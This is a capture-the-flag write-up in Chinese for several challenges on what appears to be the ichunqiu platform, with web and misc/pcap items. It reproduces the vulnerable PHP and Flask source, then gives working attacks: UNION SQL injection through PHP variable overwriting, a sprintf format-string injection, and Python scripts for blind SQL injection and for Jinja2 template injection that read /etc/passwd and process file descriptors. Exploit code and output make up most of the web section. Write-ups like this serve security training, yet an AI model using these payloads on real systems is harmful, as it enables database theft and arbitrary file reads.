web
千毒网盘
下载源代码 www.zip
获得源代码
index.php
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}// $$key_2 == $value_2,将unset($$key_2)
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
if(isset($_POST['code']))
code.php
public function filter($string)
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}
}
public function getfile()
{
$code = $_POST['code'];
if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);
if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
// select * from file where code='0' or '1';
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}else{
return '提取码不存在!';
}
payload
先将利用unset()
将$_POST['code']
置空,再利用if($_GET) extract($_GET, EXTR_SKIP);
变量覆盖掉$_POST['code']
,最后注意绕过in_array
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1
post:
code=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1
注意! 下载直链为:file,flag
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag
post:
233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag
注意! 下载直链为:flag
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,flag from flag where '1
post:
233333' and '0'='1' union select 1,2,flag from flag where '1
注意! 下载直链为:flag{5e34cf8a-29ba-45a2-934a-f8c5d1e9eaa5}
TryToLogin
输入错误密码后,可以获得hint
<!-- /?file=xxx 请使用绝对路径-->
测试过程中发现,代码可能用的是file_get_content
获得源代码
index.php?file=/proc/self/cwd/index.php
index.php
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
// password = %1$' || 1=1#
// password = %1$\' or 1=1#
//select * from user where username='%s' and password='%1$\' or 1=1# '
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
}
session_start();
class.php
<?php
include 'class.php';
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登录成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
</div>
</div>
</div>
</div>
<!-- /?file=xxx 请使用绝对路径-->
EOF;
}
}
漏洞点
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
// password = %1$' || 1=1#
// password = %1$\' or 1=1#
//select * from user where username='%s' and password='%1$\' or 1=1# '
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
在sql语句拼接中,先用简单拼接password,后用sprintf来格式化
很明显的sprintf格式化字符串漏洞
password = %1$' || 1=1#
password = %1$\' or 1=1# filter() 函数后
select * from user where username='%s' and password='%1$\' or 1=1#' 拼接进去
select * from user where username='admin' and password='' or 1=1#' sprintf格式化后
payload, 注意information 库被过滤 sys.schema_table_statistics
import requests
import time
import binascii
url = "http://eci-2ze2sq8e1l8hxc76lvp8.cloudeci1.ichunqiu.com/"
flag = ""
i = 0
while( True ):
i = i + 1
low=32
high=127
while( low < high ):
mid = (low + high) >> 1
sqli = "select group_concat(table_name) from sys.schema_table_statistics"
sqli_2 = "select * from fl4g"
payload = "%1$' ||/**/if(ascii(substr(("+sqli+ "),{0},1)) > {1},1,0)=1#".format(i,str(mid))
r = requests.post(url,data={"username":"admin","password":payload})
if "Success" in r.text :
#print(payload)
low = mid + 1
elif "Wrong" in r.text:
high = mid
else :
print("error")
if low!=32:
flag += chr(low)
else:
break
print(flag)
Hello
源代码 /help
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
import requests
import json
url = 'http://eci-2zejdvvwkqa14ro19id2.cloudeci1.ichunqiu.com:8888/123'
data = {
'123':'a'
}
a = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/etc/passwd').read()[0] == '{}' %}~p2~{% endif %}{% endif %}{% endfor %}"
flag = ''
for j in range(17,300):
for i in range(32,127):
exp = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()["+str(j)+"] == '" +chr(i) +"' %}~p2~{% endif %}{% endif %}{% endfor %}"
x = {
'123':exp
}
r = requests.post(url=url, data=json.dumps(x))
if 'p2' in r.text:
# print(i)
# print(r.text)
flag += chr(i)
print(flag)
break
#flag{464191d1-4265-4ff5-b4fd-e75f7cd08175}
> cat cmdline
/home/fe1w0/miniconda3/bin/python3/home/fe1w0/Flask.py%
!w /proc/6263 ------------------------------------------------------------------------------------------- at 15:58:27
> ls fd -al
total 0
dr-x------ 2 fe1w0 fe1w0 0 Nov 14 15:57 .
dr-xr-xr-x 9 fe1w0 fe1w0 0 Nov 14 15:57 ..
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 0 -> /dev/pts/4
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 1 -> /dev/pts/4
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 2 -> /dev/pts/4
lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 3 -> /dev/urandom
lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 4 -> /flag
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 5 -> 'socket:[115502]'
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 6 -> 'socket:[115502]'
misc
签到
{echo,ZmxhZ3t3MzFjMG1lNX0=}|{base64,-d}|{tr,5,6}
bash 执行
pcap
frame.len == 91
慢慢找
拼接的得到flag{d989e2b92ea671f5d30efb8956eab1427625c}
pcap analysis
先查modbus,发现有个长度为65,其他都62
和上题一样:
接着直接查frame.len == 65
,拼接得到flag
flag{323f986d429a689d3b96ad12dc5cbc701db0af55}